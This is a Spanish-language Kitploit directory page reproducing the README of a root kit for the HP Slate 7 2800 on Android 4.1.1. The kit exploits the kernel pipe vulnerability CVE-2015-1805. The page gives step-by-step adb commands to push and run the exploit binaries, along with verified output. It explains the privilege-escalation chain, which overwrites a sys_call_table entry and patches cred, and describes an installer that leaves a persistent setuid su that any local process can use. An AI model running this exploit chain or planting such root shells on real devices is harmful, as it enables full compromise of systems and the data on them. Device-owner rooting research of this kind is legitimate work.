Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hp-slate7-root-kit — Kit de root para HP Slate 7 2800 con Android 4.1.1 usando CVE-2015-1805. | Kitploit
Herramientas/GitHubGitHub/valentineus/hp-slate7-root-kit
Seguridad AndroidEscalada de PrivilegiosMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios
GitHubvalentineus/hp-slate7-root-kit

hp-slate7-root-kit

Kit de root para HP Slate 7 2800 con Android 4.1.1 usando CVE-2015-1805.

1hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Root para HP Slate 7 2800 en Android 4.1.1

English | Русский

Este repositorio contiene un kit completo e independiente para obtener acceso root persistente en la HP Slate 7 2800 con firmware 1.05.18 y kernel Linux 3.0.8+ mediante la explotación de la vulnerabilidad local CVE-2015-1805. El kit se ejecutó en la tableta real y el resultado se verificó desde una sesión ADB nueva y después de un reinicio normal.

Esta no es una herramienta universal de root para Android. El exploit es específico de esta configuración de kernel de HP. No lo ejecute en un modelo, firmware o versión de kernel diferentes.

Configuración verificada

ParámetroValor verificado
Fabricante y modeloHP Slate 7 2800
Android4.1.1, API 16, build JRO03H
Producto / dispositivot7h / pine
ProcesadorRockchip RK3066, ARMv7
Huella de compilaciónhp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
Kernel3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABI32-bit ARM EABI5
SELinuxno presente en la configuración del kernel (CONFIG_SECURITY está deshabilitado)
Partición /systemext4, montada de solo lectura de forma predeterminada

Puede inspeccionar el dispositivo sin realizar ningún cambio:

root@kitploit:~
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

Alternativamente, use el siguiente script. Se negará a continuar si la huella de compilación o la versión del kernel no coinciden:

root@kitploit:~
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

Contenido del repositorio

root@kitploit:~
.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

Formatos de archivo y propósitos

Sumas de verificación SHA-256 de los binarios verificados:

root@kitploit:~
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

Verificación en macOS:

root@kitploit:~
shasum -a 256 -c SHA256SUMS

Verificación en Linux:

root@kitploit:~
sha256sum -c SHA256SUMS

Use los archivos de bin/ en la tableta: son los bytes exactos que se verificaron en el dispositivo. El directorio build/ está pensado para recompilaciones locales y no está rastreado por Git.

Vulnerabilidad utilizada

CVE-2015-1805 es una falla en las implementaciones de pipe_read() y pipe_write() de los kernels de Linux más antiguos. Cuando una copia atómica falla, el código continúa incorrectamente recorriendo el arreglo iovec, lo que potencialmente mueve un puntero más allá de sus límites. Como resultado, un proceso local sin privilegios puede corromper memoria, bloquear el kernel o escalar sus privilegios. Se publicó una explicación detallada del mecanismo en oss-security. Las correcciones se pueden encontrar, entre otros lugares, en los commits de Linux ascendentes 637b58c y f0d1bec.

El kernel 3.0.8+ de la tableta resultó vulnerable. Antes de modificar la memoria del kernel, la misma condición de carrera se probó por separado con una sonda inofensiva cuyos dos objetivos de escritura estaban ubicados en la memoria ordinaria del proceso de prueba. Informó CVE-2015-1805: VULNERABLE y la tableta permaneció accesible a través de ADB.

Cadena de escalada de privilegios

  1. El exploit crea una condición de carrera entre readv(), los cambios de mapeo de memoria y el procesamiento de un arreglo iovec grande en el código de pipe vulnerable del kernel.
  2. La primitiva de escritura resultante reemplaza temporalmente la entrada no utilizada 222 en sys_call_table con la dirección de un pequeño trampolín ARM en el proceso del exploit.
  3. La dirección de la tabla se calcula mediante el vector alto en 0xffff0008. En el dispositivo verificado, la instrucción es 0xe59ff410 y su literal apunta a vector_swi = 0xc04d0d40.
  4. vector_swi y sys_call_table se ensamblaron de forma independiente a partir del archivo de kernel de código abierto oficial de HP 1.05.10 (SHA-256 del archivo: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) con el defconfig rk30_t7h_dvt_defconfig. Su desplazamiento es 0xc4. El firmware instalado no tiene ni OABI ni seccomp, por lo que la dirección final en tiempo de ejecución de la tabla es .

La función original current_thread_info() de los encabezados antiguos del kernel era incompatible con el Clang moderno en -O0: un prototipo inicial leía una palabra no inicializada en lugar del registro sp y podía bloquear el kernel. En este repositorio se ha reemplazado con un trampolín ARM naked verificado. El binario inicial no está incluido en el repositorio.

Software necesario

Para usar los archivos listos de bin/

  • una computadora con macOS o Linux; Windows también es posible con un controlador USB ADB adecuado, pero este procedimiento se verificó en macOS;
  • adb de Android SDK Platform Tools;
  • un cable de datos USB que funcione;
  • depuración USB habilitada y la clave RSA de la computadora aceptada en la tableta.

No necesita Android NDK, Java, Python, fastboot, un bootloader desbloqueado, una recovery personalizada, un APK de root ni acceso a la red. El exploit y la carga útil están enlazados estáticamente.

Para recompilar desde el código fuente

  • Zig 0.15.2; basta con descomprimir el archivo portátil, sin necesidad de instalar paquetes a nivel de sistema;
  • Bash;
  • shasum o sha256sum para verificar el resultado.

El Android NDK tampoco es necesario: Zig proporciona una cadena de herramientas cruzada ARM musl.

Preparación de la tableta

  1. Cargue la tableta al menos al 50%. Durante la ejecución verificada estaba aproximadamente al 80%.
  2. Inicie Android normalmente y desbloquee la pantalla.
  3. Active Opciones de desarrollador -> Depuración por USB.
  4. Conecte el cable y acepte la solicitud RSA de depuración por USB si Android la muestra.
  5. No ejecute Towelroot, KingRoot ni otras aplicaciones de root de forma simultánea.
  6. Cierre las aplicaciones innecesarias. El exploit crea muchos hilos y se acerca a los límites de este dispositivo antiguo.

Compruebe la conexión:

root@kitploit:~
adb devices -l

El estado debe ser device, no offline ni unauthorized.

Obtención de root: procedimiento manual

Cambie a la raíz del repositorio y primero verifique que el dispositivo coincida exactamente:

root@kitploit:~
./scripts/check-target.sh

Si hay varios dispositivos conectados, pase el número de serie a cada comando usando adb -s SERIAL, o establezca la variable de entorno ANDROID_SERIAL.

Sube los tres archivos con los nombres que esperan entre sí:

root@kitploit:~
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

Establezca los permisos y vacíe los archivos preparados al almacenamiento:

root@kitploit:~
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

Ejecute el exploit una vez:

root@kitploit:~
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

Salida exitosa verificada:

root@kitploit:~
offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

Si el dispositivo desaparece de ADB durante unos segundos, no ejecute el exploit de nuevo. Espere a que regrese:

root@kitploit:~
adb wait-for-device

Procedimiento automatizado

El script verifica la huella de compilación y el kernel, comprueba los hashes SHA-256, sube los archivos, le pide que escriba ROOT, ejecuta el exploit y verifica uid=0:

root@kitploit:~
./scripts/root-device.sh

Para varios dispositivos:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL

La opción --yes desactiva la confirmación interactiva y está pensada solo para un uso automatizado deliberado:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL --yes

Verificación del resultado

Verifique el root desde un shell ADB nuevo, no desde el uid del proceso del exploit:

root@kitploit:~
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

Salida esperada:

root@kitploit:~
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

A continuación, elimine solo los archivos temporales preparados. El /system/xbin/su instalado no se elimina:

root@kitploit:~
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

El kit no crea /data/local.prop ni modifica los datos del usuario.

Realice un reinicio normal y luego verifique el root persistente:

root@kitploit:~
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

La tableta verificada produjo el siguiente resultado después del reinicio:

root@kitploit:~
uid=0(root) gid=0(root) ...

El archivo instalado se extrajo de la tableta y coincidió byte a byte con bin/hp-slate7-su:

root@kitploit:~
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

Uso de root

Para ejecutar un solo comando:

root@kitploit:~
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su es un wrapper intencionalmente mínimo sin aplicación Android, avisos de confirmación, daemon ni registro de permisos. Cualquier proceso local capaz de ejecutar /system/xbin/su podría obtener root. No use esta tableta obsoleta para datos sensibles después de hacerle root y no instale APKs no confiables.

Recompilación desde el código fuente

Especifique la ruta al Zig 0.15.2 portátil, o agregue zig a PATH:

root@kitploit:~
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

La salida se escribirá en build/:

root@kitploit:~
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

Compruebe los formatos de los archivos:

root@kitploit:~
file build/hp-slate7-*

Los tres archivos deben ser archivos ELF ARM EABI5 de 32 bits. Con la versión verificada de Zig 0.15.2, el instalador y su se recompilan de forma idéntica byte a byte a los archivos de bin/. El hash del exploit puede diferir debido a las rutas absolutas en DWARF y los metadatos del enlazador; su trampolín crítico de seis instrucciones fue idéntico byte a byte en la compilación de verificación. Una recompilación no reemplaza las sumas de verificación de los archivos de bin/ que realmente se ejecutaron en la tableta.

Solución de problemas

unauthorized

Desbloquee la pantalla y acepte la clave RSA de depuración por USB. Si la solicitud no aparece, vuelva a conectar el cable y ejecute adb devices -l de nuevo.

offline o el dispositivo desaparece

Espere unos segundos y ejecute adb wait-for-device. Si la tableta se ha apagado, enciéndala normalmente con el botón de encendido. No ejecute una segunda instancia del exploit de forma simultánea.

El exploit no imprimió [+] Done

La CVE se explota mediante una condición de carrera y puede fallar teóricamente. Reinicie la tableta antes de hacer un único reintento. No ejecute el binario en un bucle: una condición de carrera fallida puede bloquear el kernel.

su existe, pero el comando termina con el código 127

Verifique el hash SHA-256 del archivo. Un wrapper de investigación inicial manejaba argv incorrectamente en ARM y terminaba con el código 127. Este repositorio contiene la versión corregida de 656 bytes con SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.

El logotipo de HP permanece en pantalla, pero ADB ya está disponible

Compruebe el estado real de Android:

root@kitploit:~
adb shell getprop sys.boot_completed
adb shell dumpsys window windows

sys.boot_completed=1 significa que Android ha iniciado incluso si la pantalla física todavía muestra un cuadro antiguo.

Qué se probó y qué no se utilizó

Otros enfoques bien conocidos se descartaron de forma segura o resultaron no adecuados en este dispositivo: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW y PingPongRoot. Towelroot/CVE-2014-3153 bloqueó este kernel y no debe usarse. CVE-2014-7951 permitía escribir un archivo mediante el path traversal de restauración de ADB, pero el firmware de HP no cargaba /data/local.prop, por lo que este método no proporcionó root.

El bootloader usa un cargador antiguo de Rockchip y no apareció como un dispositivo fastboot estándar. No fue necesario flashear una recovery ni desbloquear el bootloader para este resultado.

Procedencia y licencia

El código del exploit se basa en mobilelinux/iovy_root_research, commit f945796, que a su vez referencia dosomder/iovyroot. Los cambios específicos del dispositivo incluyen reducir el número de hilos, corregir el tiempo de espera, usar un trampolín ARM naked, restaurar la tabla de syscalls de forma temprana, validar cred y deshabilitar la rama SELinux no aplicable.

Los avisos originales se han conservado. El repositorio se distribuye bajo GPL-3.0; consulte LICENSE y NOTICE.

Aviso legal

Explotar la memoria del kernel siempre conlleva el riesgo de reiniciar el dispositivo, corromper el sistema o perder datos. Este kit está pensado únicamente para una HP Slate 7 2800 que sea de su propiedad y cuyo firmware coincida exactamente. Haga una copia de seguridad de los datos importantes y no lo use en dispositivos ajenos.


La investigación de seguridad y la documentación se completaron con la asistencia de OpenAI Codex, impulsado por GPT-5.6 Sol con acceso de ciberseguridad Daybreak Blue.


Ubicaciones del repositorio: fuente canónica · github · espejo de solo lectura

Descargar herramienta
ArchivoFormatoTamañoPropósito
bin/hp-slate7-cve-2015-1805-rootELF 32-bit ARM EABI5, estático, sin depurar2,722,320 bytesExplota la CVE, obtiene uid 0 e inicia el instalador
bin/hp-slate7-install-rootELF 32-bit ARM EABI5, estático, depurado22,596 bytesVuelve a montar temporalmente /system en rw, instala su y restaura ro
bin/hp-slate7-suELF 32-bit ARM EABI5, estático, depurado656 bytesLlama a setresgid(0,0,0) y setresuid(0,0,0), y luego lanza /system/bin/sh
0xc04d0e04
  • El trampolín consta de exactamente seis instrucciones ARM. Obtiene el sp actual, lo alinea al tamaño de pila del kernel de 8192 bytes y escribe -1 únicamente en thread_info.addr_limit en el desplazamiento 8. No contiene llamadas externas, prólogo ni código de tiempo de ejecución del compilador.
  • Inmediatamente después de que la syscall temporal regresa, la entrada 222 se restaura desde la entrada 223. Ambas entradas son sys_ni_syscall en el código fuente de HP; el puntero restaurado en el kernel verificado es 0xc051900c.
  • Una vez que se ha ampliado addr_limit, la copia de pipe lee el task_struct actual, localiza cred y valida la estructura mediante los valores uid/gid actuales, la alineación, el recuento de referencias y la condición real_cred == cred. Solo después de estas comprobaciones los valores uid/gid se ponen a cero y las máscaras de capacidades se rellenan con unos.
  • El proceso obtiene uid=0 y lanza /data/local/tmp/install-root. El instalador vuelve a montar /system en rw, copia la carga útil a /system/xbin/su, asigna la propiedad root:root y el modo 06755, llama a sync() y vuelve a montar /system en modo de solo lectura.